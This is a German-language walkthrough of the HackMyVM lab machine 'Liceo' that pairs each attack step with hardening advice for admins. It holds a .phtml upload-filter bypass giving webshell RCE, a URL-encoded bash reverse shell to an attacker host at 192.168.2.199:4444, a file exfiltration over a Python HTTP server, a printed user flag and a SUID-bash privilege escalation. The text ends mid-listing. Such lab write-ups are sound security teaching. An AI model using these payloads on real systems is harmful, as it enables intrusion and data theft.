Liceo - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
dirb
nikto
nmap
ftp
gobuster
curl (implied)
nc
python3 http.server
wget
find
getcap
uname
cat
msfconsole
grep

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist ein ARP-Scan im lokalen Netzwerk, um aktive Hosts zu identifizieren.

Bewertung: Der Scan ist erfolgreich und findet das Zielsystem unter `192.168.2.113`. Die MAC-Adresse `08:00:27:73:31:80` deutet auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Verwende die IP `192.168.2.113` für weitere Scans. Die VirtualBox-Information kann nützlich sein.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren. Überwachen Sie auf ungewöhnliche ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:73:31:80	PCS Systemtechnik GmbH
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.113` den Hostnamen `liceo.hmv` zuzuweisen.

Bewertung: Dies ist eine Standardvorgehensweise, um sicherzustellen, dass Webdienste, die auf Hostnamen basieren, korrekt angesprochen werden können.

Empfehlung (Pentester): Verwende `liceo.hmv` für Web-Scans.
Empfehlung (Admin): Konsistente DNS-Konfiguration verwenden.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Inhalt der /etc/hosts nach Bearbeitung:
127.0.0.1	localhost
192.168.2.113   liceo.hmv
                     

Port Scanning & Web Enumeration

Analyse: `dirb` wird verwendet, um mit einer Standard-Wortliste nach Verzeichnissen auf dem Webserver (Port 80) zu suchen.

Bewertung: `dirb` findet mehrere Verzeichnisse: `/images/`, `/css/`, `/js/` und `/uploads/`. Außerdem findet es `/index.html` und `/server-status` (mit Status 403 Forbidden). Das Verzeichnis `/uploads/` ist besonders interessant, da es auf eine Dateiupload-Funktionalität hindeuten könnte.

Empfehlung (Pentester): Untersuche das `/uploads/`-Verzeichnis genauer. Prüfe, ob Dateien hochgeladen werden können und ob diese ausführbar sind. Notiere die Existenz von `/server-status` für eine spätere Untersuchung nach initialem Zugriff.
Empfehlung (Admin): Schränken Sie den Zugriff auf Verzeichnisse wie `/uploads/` ein. Implementieren Sie sichere Dateiupload-Mechanismen (Validierung von Dateitypen und -inhalten, Umbenennung von Dateien, Speicherung außerhalb des Web-Roots, Berechtigungsprüfung). Deaktivieren Sie `/server-status` oder beschränken Sie den Zugriff darauf streng.

┌──(root㉿cyber)-[~] └─# dirb http://liceo.hmv
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Apr 30 13:58:25 2024
URL_BASE: http://liceo.hmv/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4622

---- Scanning URL: http://liceo.hmv/ ----
> DIRECTORY: http://liceo.hmv/images/
> DIRECTORY: http://liceo.hmv/css/
+ http://liceo.hmv/index.html (CODE:200|SIZE:21487)
> DIRECTORY: http://liceo.hmv/js/
+ http://liceo.hmv/server-status (CODE:403|SIZE:274)
> DIRECTORY: http://liceo.hmv/uploads/

-----------------
END_TIME: Tue Apr 30 13:58:35 2024 
DOWNLOADED: 4622 - FOUND: 3
                    

Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen und Konfigurationsprobleme zu scannen.

Bewertung: Nikto liefert wichtige Informationen: * **Server:** Apache/2.4.52 (Ubuntu) - bestätigt die `dirb`-Ergebnisse und gibt eine ältere Version an (aktuell wäre >2.4.54). * **Fehlende Header:** `X-Frame-Options` und `X-Content-Type-Options` fehlen. * **IP-Leak:** Die interne IP `127.0.1.1` wird im Location-Header bei Anfragen an `/images` preisgegeben (CVE-2000-0649). Geringes Risiko, aber Informationsleck. * **ETag Leak:** Mögliche Informationspreisgabe durch ETag-Format (CVE-2003-1418). * **Veralteter Apache:** Hinweis auf eine potenziell verwundbare Apache-Version. * **TRACE-Methode:** Aktiviert (XST-Risiko). * **Directory Indexing:** `/css/` und `/images/` erlauben das Auflisten von Dateien.

Empfehlung (Pentester): Konzentriere dich auf die veraltete Apache-Version und suche nach spezifischen Exploits. Nutze Directory Indexing, um möglicherweise interessante Dateien in `/css/` und `/images/` zu finden. Notiere die Findings (fehlende Header, IP/ETag-Leak, TRACE).
Empfehlung (Admin): **Apache aktualisieren!** Implementieren Sie die fehlenden Sicherheitsheader. Deaktivieren Sie Directory Indexing (`Options -Indexes` in Apache-Konfig). Deaktivieren Sie die TRACE-Methode. Korrigieren Sie die ETag-Konfiguration (`FileETag MTime Size`). Untersuchen Sie den IP-Leak im Location-Header.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.113
#- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2024-04-30 13:58:16 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 53ef, size: 6110fb200265f, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2024-04-30 13:58:26 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Ein Nmap-Scan wird über alle Ports ausgeführt und die Ausgabe gefiltert, um nur offene Ports anzuzeigen.

Bewertung: Der Scan findet drei offene Ports: * `21/tcp (FTP)`: vsftpd 3.0.5 * `22/tcp (SSH)`: OpenSSH 8.9p1 (Ubuntu) * `80/tcp (HTTP)`: Apache httpd 2.4.52 (Ubuntu) - bestätigt Nikto. Dies gibt einen klaren Überblick über die Hauptangriffsvektoren.

Empfehlung (Pentester): Untersuche alle drei Dienste: FTP (anonymer Zugriff?), SSH (Benutzernamen/Passwörter?), HTTP (Webanwendung, Upload-Funktion, Apache-Schwachstellen?).
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste (vsftpd, OpenSSH, Apache) aktuell und sicher konfiguriert sind. Deaktivieren Sie nicht benötigte Dienste.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
                    

Analyse: Der vollständige Nmap-Scan wird angezeigt.

Bewertung: Die vollständige Ausgabe liefert wichtige Details: * **FTP (21):** vsftpd 3.0.5 erlaubt **anonymen FTP-Login** (`ftp-anon: Anonymous FTP login allowed`). Eine Datei `note.txt` ist im Stammverzeichnis sichtbar und gehört uid/gid 1000 (wahrscheinlich der erste normale Benutzer). * **SSH (22):** Bestätigt OpenSSH 8.9p1 auf Ubuntu. * **HTTP (80):** Bestätigt Apache 2.4.52 auf Ubuntu, Titel "Liceo". * **OS:** Wird als Ubuntu Linux identifiziert.

Empfehlung (Pentester): **Priorität: Anonymer FTP-Zugriff!** Logge dich anonym per FTP ein, lade die `note.txt` herunter und untersuche sie. Prüfe auf Schreibrechte im FTP-Verzeichnis. Untersuche die Webanwendung auf Port 80 weiter.
Empfehlung (Admin): **Deaktivieren Sie anonymen FTP-Zugriff**, es sei denn, er ist absolut notwendig und sorgfältig konfiguriert (z.B. nur Lesezugriff, chroot-Umgebung). Überprüfen Sie die Berechtigungen im FTP-Verzeichnis. Aktualisieren Sie vsftpd, OpenSSH und Apache.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.113 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 13:57 CEST
Nmap scan report for liceo.hmv (192.168.2.113)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000          191 Feb 01 14:29 note.txt
22/tcp open  ssh     penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_  256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:73:31:80 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.4 (94%), Linux 5.3 - 5.4 (93%), Linux 3.4 - 3.10 (93%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms liceo.hmv (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds
                    

FTP Enumeration

Analyse: Eine FTP-Verbindung wird zum Ziel aufgebaut und ein anonymer Login durchgeführt (Benutzer `Anonymous`, leeres Passwort). Anschließend werden Dateien aufgelistet (`ls -la`), die gefundene `note.txt` heruntergeladen (`get note.txt`) und versucht, eine Datei (`sshroot`) hochzuladen (`put sshroot`).

Bewertung: Der anonyme Login ist erfolgreich. Das Listing bestätigt die Existenz von `note.txt` im Stammverzeichnis des FTP-Servers. Der Download der Datei gelingt. Der Upload-Versuch schlägt jedoch fehl (`553 Could not create file.`), was bedeutet, dass der anonyme Benutzer keine Schreibrechte hat.

Empfehlung (Pentester): Analysiere den Inhalt der heruntergeladenen `note.txt`. Da kein Upload möglich ist, konzentriere dich auf die anderen Dienste (SSH, HTTP).
Empfehlung (Admin): Gut, dass der anonyme Benutzer keine Schreibrechte hat. Überprüfen Sie jedoch, ob der anonyme Zugriff wirklich notwendig ist. Falls ja, stellen Sie sicher, dass nur absolut notwendige Dateien lesbar sind und der Zugriff auf ein sicheres Verzeichnis beschränkt ist (chroot).

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.113
Connected to 192.168.2.113.
220 (vsFTPd 3.0.5)
Name (192.168.2.113:cyber): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||12784|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        120          4096 Feb 01 20:18 .
drwxr-xr-x    2 0        120          4096 Feb 01 20:18 ..
-rw-rw-r--    1 1000     1000          191 Feb 01 14:29 note.txt
226 Directory send K.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||25302|)
150 pening BINARY mode data connection for note.txt (191 bytes).
100% |**************************************************|   191      364.30 KiB/s    00:00 ETA
226 Transfer complete.
191 bytes received in 00:00 (197.79 KiB/s)
ftp> put sshroot
local: sshroot remote: sshroot
229 Entering Extended Passive Mode (|||26264|)
553 Could not create file.
ftp> quit
221 Goodbye.
                    

Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.

Bewertung: Die Notiz stammt von "Pedro Domínguez" an "Matias" und erwähnt, dass die Arbeit an der Webseite fortgesetzt werden soll, wobei auf Sicherheit geachtet werden muss. Sie listet auch Namen und eine E-Mail-Adresse auf (`María García`, `Adrián Gutierrez`, `liceoescuela@liceo.com`). Diese Namen (`pedro`, `matias`, `maria`, `adrian`) könnten potenzielle Benutzernamen sein.

Empfehlung (Pentester): Füge die Namen `pedro`, `matias`, `maria`, `adrian` zur Liste potenzieller Benutzernamen für SSH-Angriffe hinzu.
Empfehlung (Admin): Speichern Sie keine potenziellen Benutzernamen oder internen Notizen in öffentlich zugänglichen Bereichen wie anonymen FTP-Verzeichnissen.

┌──(root㉿cyber)-[~] └─# cat note.txt
 Hi Matias, I have left on the web the continuations of today's work,
 would you mind contiuing in your turn and make sure that the web will be secure?
 Above all, we dont't want intruders...

 Pedro Domínguez
 María García
 Adrián Gutierrez
 liceoescuela@liceo.com
                     

Web Application Attack (File Upload)

Analyse: Ein `gobuster`-Scan wird auf den Webserver (Port 80) ausgeführt, um Verzeichnisse und Dateien zu finden. Es wird eine Medium-Wortliste und eine lange Liste von Endungen verwendet. 403/404-Fehler werden ausgeblendet.

Bewertung: Der Scan findet neben den bereits bekannten Verzeichnissen (`images`, `uploads`, `css`, `js`) und `index.html` eine wichtige Datei: `upload.php`. Dies bestätigt die Vermutung einer Upload-Funktionalität.

Empfehlung (Pentester): Untersuche die Seite `http://liceo.hmv/upload.php`. Teste die Upload-Funktion auf mögliche Schwachstellen, insbesondere auf Umgehung von Dateityp-Filtern, um eine Webshell hochzuladen.
Empfehlung (Admin): Implementieren Sie eine sichere Upload-Funktion: Strikte serverseitige Validierung von Dateitypen (Whitelist statt Blacklist), Größenbeschränkung, Umbenennung hochgeladener Dateien, Speicherung außerhalb des Web-Roots oder in einem Verzeichnis ohne Ausführungsrechte, Virenscan.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://liceo.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
 http://liceo.hmv/index.html           (Status: 200) [Size: 21487]
 http://liceo.hmv/images               (Status: 301) [Size: 307] [--> http://liceo.hmv/images/]
 http://liceo.hmv/uploads              (Status: 301) [Size: 308] [--> http://liceo.hmv/uploads/]
 http://liceo.hmv/upload.php           (Status: 200) [Size: 371]
 http://liceo.hmv/css                  (Status: 301) [Size: 304] [--> http://liceo.hmv/css/]
 http://liceo.hmv/js                   (Status: 301) [Size: 303] [--> http://liceo.hmv/js/]
                     

Analyse: Dieser Abschnitt beschreibt die Interaktion mit der Upload-Funktion (`upload.php`). 1. Eine Datei `test.txt` wird erfolgreich hochgeladen und ist unter `/uploads/test.txt` abrufbar. 2. Der Versuch, eine PHP-Datei hochzuladen, scheitert mit der Meldung "Fehler: Dateien mit der Erweiterung php sind nicht zulässig." -> Es gibt eine Blacklist für `.php`. 3. Der Versuch, eine Datei mit der Endung `.phtml` (eine alternative Endung, die Apache manchmal als PHP interpretiert) hochzuladen, ist erfolgreich ("El archivo test.phtml se ha subido correctamente."). 4. Das Verzeichnislisting von `/uploads/` bestätigt die Existenz von `test.phtml`. 5. Die URL `http://liceo.hmv/uploads/test.phtml?cmd=id` wird aufgerufen.

Bewertung: Kritische Schwachstelle gefunden! Der Upload-Filter basiert auf einer unsicheren Blacklist, die nur `.php` blockiert. Durch die Verwendung der alternativen Endung `.phtml` konnte eine PHP-Webshell (`` oder ähnlich) hochgeladen werden. Der Aufruf der URL mit `?cmd=id` führt den `id`-Befehl auf dem Server aus und gibt das Ergebnis (`uid=33(www-data)...`) zurück. Remote Code Execution (RCE) als `www-data` ist erreicht.

Empfehlung (Pentester): Nutze die RCE, um eine Reverse Shell zum Angreifer-System aufzubauen und eine stabilere Sitzung zu erhalten.
Empfehlung (Admin): **Upload-Filter dringend überarbeiten!** Verwenden Sie eine Whitelist erlaubter Dateitypen. Konfigurieren Sie Apache so, dass Endungen wie `.phtml`, `.php5`, `.phar` etc. nicht als PHP ausgeführt werden, falls nicht benötigt. Implementieren Sie alle empfohlenen Maßnahmen für sichere Uploads.

 # Interaktion mit http://liceo.hmv/upload.php
 Upload von test.txt:
 "El archivo test.txt se ha subido correctamente."
 Zugriff auf http://liceo.hmv/uploads/test.txt -> "test"

 Upload von shell.php:
 "Fehler: Dateien mit der Erweiterung php sind nicht zulässig."

 Upload von test.phtml (Inhalt z.B.  ):
 "El archivo test.phtml se ha subido correctamente."

 Verzeichnislisting von http://liceo.hmv/uploads/ :
 Index of /uploads
 [PARENTDIR] Parent Directory -
 [ ] test.phtml 2024-04-30 12:08 31
 [TXT] test.txt 2024-04-30 12:06 5
 Apache/2.4.52 (Ubuntu) Server at liceo.hmv Port 80

 RCE-Test: http://liceo.hmv/uploads/test.phtml?cmd=id
 Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Analyse: Über die RCE-Schwachstelle (`test.phtml`) wird ein Bash-Reverse-Shell-Payload ausgeführt, der sich zur IP `192.168.2.199` auf Port `4444` verbindet. Auf dem Angreifer-System wird ein Netcat-Listener (`nc -lvnp 4444`) gestartet, um die eingehende Verbindung zu empfangen.

Bewertung: **Initial Access via Reverse Shell erfolgreich!** Der Listener empfängt die Verbindung vom Zielsystem, und wir erhalten eine interaktive Shell als Benutzer `www-data`. Die üblichen Meldungen (`cannot set terminal process group`, `no job control`) erscheinen. Der `id`-Befehl bestätigt die Identität als `www-data`.

Empfehlung (Pentester): Stabilisiere die Shell für eine bessere Interaktion (z.B. mit Python PTY). Beginne mit der Enumeration des Systems als `www-data`.
Empfehlung (Admin): Firewall-Regeln für ausgehende Verbindungen implementieren. Prozessüberwachung für den `www-data`-Benutzer. Beheben Sie die Upload-Schwachstelle.

 # Aufruf der RCE mit Reverse Shell Payload (URL-kodiert)
 http://liceo.hmv/uploads/test.phtml?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
                     
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
 listening on [any] 4444 ...
 connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 58326
 bash: cannot set terminal process group (732): Inappropriate ioctl for device
 bash: no job control in this shell
 bash-5.1$ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 bash-5.1$
                     

Proof of Concept (Initial Access - RCE via Upload)

Analyse: Dieser POC fasst die Schritte zur Erlangung von Remote Code Execution als `www-data` über die unsichere Dateiupload-Funktion zusammen.

Schwachstelle: Unsicherer Dateiupload-Filter (`upload.php`), der nur die `.php`-Endung blockiert (Blacklist) und alternative Endungen wie `.phtml` zulässt, die vom Apache-Server als PHP interpretiert werden. Das Upload-Verzeichnis (`/uploads/`) ist über das Web zugänglich und erlaubt die Ausführung der hochgeladenen Skripte.

Voraussetzungen: Webzugriff auf `http://liceo.hmv/upload.php`. Möglichkeit, Dateien hochzuladen. Apache-Konfiguration, die `.phtml` als PHP interpretiert.

Schritte zur Reproduktion:

  1. Erstelle eine Datei (z.B. `shell.phtml`) mit PHP-Webshell-Code: ``.
  2. Navigiere zu `http://liceo.hmv/upload.php` und lade die Datei `shell.phtml` hoch.
  3. Bestätige den erfolgreichen Upload und den Speicherort (vermutlich `http://liceo.hmv/uploads/shell.phtml`).
  4. Rufe die URL der hochgeladenen Datei auf und hänge einen Befehl als `cmd`-Parameter an: `http://liceo.hmv/uploads/shell.phtml?cmd=id`.
  5. (Optional für Reverse Shell): Starte einen Listener (`nc -lvnp 4444`). Führe über die Webshell einen Reverse-Shell-Befehl aus: `?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IP_Angreifer]%2F4444%200%3E%261%27`.

Erwartetes Ergebnis: Die Ausgabe des `cmd`-Parameters wird im Browser angezeigt, oder eine Reverse Shell wird zum Listener aufgebaut. Der ausführende Benutzer ist `www-data`.

Empfehlung (Admin): Implementieren Sie einen sicheren Dateiupload (Whitelist für Dateitypen, keine ausführbaren Berechtigungen im Upload-Verzeichnis, Speicherung außerhalb des Web-Roots). Konfigurieren Sie Apache restriktiv bezüglich der als PHP interpretierten Endungen.

Post-Exploitation Enumeration (as www-data)

Analyse: In der `www-data`-Shell wird in das Web-Root-Verzeichnis (`/var/www/html`, impliziert durch `cd ..`) gewechselt und der Inhalt aufgelistet. Anschließend wird ein Python-HTTP-Server gestartet, um die Datei `liceoweb.zip` zum Download bereitzustellen. Auf dem Angreifer-System wird `wget` verwendet, um diese Datei herunterzuladen.

Bewertung: Das Listing zeigt die Struktur der Webanwendung, einschließlich des Upload-Skripts und des Upload-Verzeichnisses. Die Datei `liceoweb.zip` ist interessant, da sie möglicherweise Quellcode oder andere relevante Daten enthält. Der Transfer der Datei mittels Python-HTTP-Server und `wget` ist erfolgreich.

Empfehlung (Pentester): Entpacke und analysiere den Inhalt von `liceoweb.zip` auf dem Angreifer-System. Suche nach Konfigurationsdateien, Passwörtern, Quellcode oder anderen Hinweisen.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Archive oder Backups im Web-Root-Verzeichnis liegen. Beschränken Sie die Berechtigungen des `www-data`-Benutzers. Überwachen Sie ausgehende Verbindungen vom Webserver.

bash-5.1$ cd ..
bash-5.1$ ls -la
total 592
drwxr-xr-x 7 root     root       4096 Feb 10 23:58 .
drwxr-xr-x 3 root     root       4096 Feb 10 19:26 ..
drwxr-xr-x 2 www-data www-data   4096 Sep 16  2020 css
drwxr-xr-x 2 www-data www-data   4096 Sep 16  2020 images
-rw-r--r-- 1 www-data www-data  21487 Feb 10 23:49 index.html
drwxr-xr-x 2 www-data www-data   4096 Sep 16  2020 js
-rw-r--r-- 1 www-data www-data 547090 Feb  4 18:01 liceoweb.zip
drwxr-xr-x 2 www-data www-data   4096 Feb  3 06:39 spering-html
-rw-r--r-- 1 www-data www-data   1501 Feb 10 23:58 upload.php
drwxr-xr-x 2 www-data www-data   4096 Apr 30 12:08 uploads
                    
bash-5.1$ python3 -m http.server 8000
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
 192.168.2.199 - - [30/Apr/2024 12:13:58] "GET /liceoweb.zip HTTP/1.1" 200 -
                     
┌──(root㉿cyber)-[~] └─# wget liceo.hmv:8000/liceoweb.zip
 --2024-04-30 14:13:57--  http://liceo.hmv:8000/liceoweb.zip
 Auflösen des Hostnamens liceo.hmv (liceo.hmv)… 192.168.2.113
 Verbindungsaufbau zu liceo.hmv (liceo.hmv)|192.168.2.113|:8000 … verbunden.
 HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
 Länge: 547090 (534K) [application/zip]
 Wird in liceoweb.zip gespeichert.

 liceoweb.zip            100%[===================>] 534,27K  --.-KB/s    in 0,002s

 2024-04-30 14:13:57 (292 MB/s) - liceoweb.zip gespeichert [547090/547090]
                     

Analyse: Es wird in das `/home`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Anschließend wird in das Verzeichnis `/home/dev` gewechselt und dessen Inhalt sowie die Datei `user.txt` angezeigt.

Bewertung: Im `/home`-Verzeichnis gibt es nur einen Benutzer: `dev`. Der `www-data`-Benutzer hat Lese- und Ausführungsrechte für dieses Verzeichnis (`drwxr-x---`), da er Mitglied der Gruppe `www-data` ist (impliziert durch die GID 33 und die Gruppenberechtigung). Im Home-Verzeichnis von `dev` befindet sich die Datei `user.txt`, die erfolgreich gelesen wird und die User-Flag `71ab613fa286844425523780a7ebbab2` enthält. Auffällig ist auch die Verknüpfung von `.bash_history` nach `/dev/null`, was bedeutet, dass die Befehlshistorie für `dev` nicht gespeichert wird.

Empfehlung (Pentester): User-Flag dokumentieren. Untersuche das `.ssh`-Verzeichnis von `dev`. Fahre mit der Suche nach Privesc-Vektoren fort.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen der Home-Verzeichnisse. Es ist ungewöhnlich, dass `www-data` Zugriff auf das Home-Verzeichnis eines anderen Benutzers hat. Die Verknüpfung der `.bash_history` nach `/dev/null` kann die Forensik erschweren und sollte untersucht werden.

bash-5.1$ cd /home/
bash-5.1$ ls -la
 total 12
 drwxr-xr-x  3 root root     4096 Jan 31 21:44 .
 drwxr-xr-x 19 root root     4096 Jan 31 21:38 ..
 drwxr-x---  5 dev  www-data 4096 Feb 11 00:10 dev
                     
bash-5.1$ cd dev/
bash-5.1$ ls -la
 total 40
 drwxr-x--- 5 dev  www-data 4096 Feb 11 00:10 .
 drwxr-xr-x 3 root root     4096 Jan 31 21:44 ..
 lrwxrwxrwx 1 root root        9 Feb 11 00:10 .bash_history -> /dev/null
 -rw-r--r-- 1 dev  dev       220 Jan  6  2022 .bash_logout
 -rw-r--r-- 1 dev  dev      3771 Jan  6  2022 .bashrc
 drwx------ 2 dev  dev      4096 Jan 31 21:48 .cache
 -rw------- 1 dev  dev        20 Feb 10 23:51 .lesshst
 drwxrwxr-x 3 dev  dev      4096 Feb  1 14:24 .local
 -rw-r--r-- 1 dev  dev       807 Jan  6  2022 .profile
 drwx------ 2 dev  dev      4096 Jan 31 21:45 .ssh
 -rw-r--r-- 1 dev  dev         0 Jan 31 21:51 .sudo_as_admin_successful
 -rw-rw-r-- 1 dev  dev        33 Feb 10 19:18 user.txt
                     
bash-5.1$ cat user.txt
 71ab613fa286844425523780a7ebbab2
                     

Analyse: Es wird nach SUID-Dateien (`find / -type f -perm -4000 -ls`) und Dateien mit Capabilities (`getcap -r /`) gesucht. Die Kernel-Version wird abgefragt (`uname -a`) und die `/etc/crontab` angezeigt.

Bewertung: * **SUID:** Die Liste enthält viele Standard-Linux/Ubuntu SUID-Dateien (`passwd`, `su`, `sudo`, `pkexec`, etc.) sowie einige von `snapd` (`snap-confine`). Besonders interessant ist jedoch `/usr/bin/bash` mit `-rwsr-sr-x`-Berechtigungen! Das bedeutet, dass `bash` selbst mit SUID-Root ausgeführt werden kann. **Dies ist ein direkter Weg zur Privilege Escalation.** * **Capabilities:** Zeigt nur Standard-Capabilities für `ping`, `mtr-packet` und `gst-ptp-helper`. Kein offensichtlicher Privesc-Vektor hier. * **Kernel:** Linux 5.15.0-92-generic (Ubuntu). Relativ aktuell zum Zeitpunkt des Scans. * **Crontab:** Enthält nur Standard-System-Cronjobs (`cron.hourly`, `daily`, `weekly`, `monthly`). Kein benutzerdefinierter oder unsicherer Cronjob sichtbar. Der Fund der SUID-Bash ist der entscheidende Punkt.

Empfehlung (Pentester): Nutze die SUID-Bash zur Privilege Escalation: `/usr/bin/bash -p`. Die `-p`-Option sorgt dafür, dass Bash die effektive UID (hier Root) nicht auf die reale UID (www-data) fallen lässt.
Empfehlung (Admin): **Entfernen Sie sofort das SUID-Bit von `/usr/bin/bash`!** (`chmod u-s /usr/bin/bash`). Dies ist eine extrem gefährliche Fehlkonfiguration. Untersuchen Sie, warum dieses Bit gesetzt wurde. Überprüfen Sie regelmäßig alle SUID/SGID-Dateien im System.

bash-5.1$ find / -type f -perm -4000 -ls 2>/dev/null
       293    133 -rwsr-xr-x   1 root     root       135928 Mar 21 21:14 /snap/snapd/21465/usr/lib/snapd/snap-confine
       297    129 -rwsr-xr-x   1 root     root       131832 Nov 29 14:54 /snap/snapd/20671/usr/lib/snapd/snap-confine
       847     84 -rwsr-xr-x   1 root     root        85064 Nov 29  2022 /snap/core20/2105/usr/bin/chfn
       853     52 -rwsr-xr-x   1 root     root        53040 Nov 29  2022 /snap/core20/2105/usr/bin/chsh
       923     87 -rwsr-xr-x   1 root     root        88464 Nov 29  2022 /snap/core20/2105/usr/bin/gpasswd
      1007     55 -rwsr-xr-x   1 root     root        55528 May 30  2023 /snap/core20/2105/usr/bin/mount
      1016     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /snap/core20/2105/usr/bin/newgrp
      1031     67 -rwsr-xr-x   1 root     root        68208 Nov 29  2022 /snap/core20/2105/usr/bin/passwd
      1141     67 -rwsr-xr-x   1 root     root        67816 May 30  2023 /snap/core20/2105/usr/bin/su
      1142    163 -rwsr-xr-x   1 root     root       166056 Apr  4  2023 /snap/core20/2105/usr/bin/sudo
      1200     39 -rwsr-xr-x   1 root     root        39144 May 30  2023 /snap/core20/2105/usr/bin/umount
      1289     51 -rwsr-xr--   1 root     systemd-resolve    51344 ct 25  2022 /snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper
      1663    463 -rwsr-xr-x   1 root     root              473576 Aug  4  2023 /snap/core20/2105/usr/lib/openssh/ssh-keysign
       847     84 -rwsr-xr-x   1 root     root               85064 Nov 29  2022 /snap/core20/1974/usr/bin/chfn
